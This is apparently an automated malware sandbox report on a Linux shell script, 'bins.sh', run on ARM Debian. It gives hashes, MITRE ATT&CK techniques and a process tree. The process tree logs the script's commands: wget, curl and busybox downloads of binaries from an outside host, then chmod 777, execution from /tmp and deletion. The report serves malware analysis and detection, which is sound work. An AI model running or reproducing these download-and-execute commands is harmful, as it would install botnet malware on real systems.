5992acd6694f49676afbc7ee9a159e83eabbd7eb391c1fe39718756867866270

Analysis

max time kernel
149s
max time network
13s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/10/2024, 05:48

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General

Target
bins.sh
Size 10KB
Sample241019-ghkvbazhkf
SHA256 5992acd6694f49676afbc7ee9a159e83eabbd7eb391c1fe39718756867866270
MD5 6739ad2e394d5fd7987e7e453d3a912e
SHA1 edffab8239faf92f92d7d8cc08beb93082aa5a40
SHA512 141962b1cdc53bed46bd13e54c468c0331867e73429e3c5a0a2d6a270573a07da8fc62f114ec6655b01c13b2d4b333762b74aa76ff4c60374c1972d4f9e90c25
SSDEEP 192:pxItaAhheaxIoOP2PCPHPQPgPUxeaxIowP2PCPHPQPgPR:zItaAhheaxIoOO6vooweaxIowO6vooZ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe	683	wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
686	wget
687	curl
657	wget
662	curl
680	busybox

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:652
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
  2⤵
  - System Network Configuration Discovery
  PID:657
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:662
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
  2⤵
  - System Network Configuration Discovery
  PID:680
- /bin/chmod
  chmod 777 wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
  ./wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
  2⤵
  - Executes dropped EXE
  PID:683
- /bin/rm
  rm wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
  2⤵
  PID:685
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3HltCNBpjnwqBEv09ImJx8wrYHDwQzjwBn
  2⤵
  - System Network Configuration Discovery
  PID:686
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3HltCNBpjnwqBEv09ImJx8wrYHDwQzjwBn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:687

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe

Path /tmp/wBmJZOeePXPVvLsuOTH6wVSGazfU4e1fKe
Size 129KB
SHA256 ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495
MD5 52f72bcf31899453b40d37a7cbf55f35
SHA1 6dfca1bd70aad3e88713b02ec1669ba5a792456c
SHA512 be8b5d14afe30f1ce2f474a20af599a93c3a7543ec301554dd2ffa0225c945d91c3354d777f09ee886a90acfa8ecfa24533de9cf3bcf5f59a44d53ca3c73e967
SSDEEP 3072:OA9mxA93S4ra9OPArobOmJ9fNyKmVs0jp:tVa96A8ymJ9fNyKmVs0jp
MD5 SHA1 SHA512 SSDEEP

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Analysis

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General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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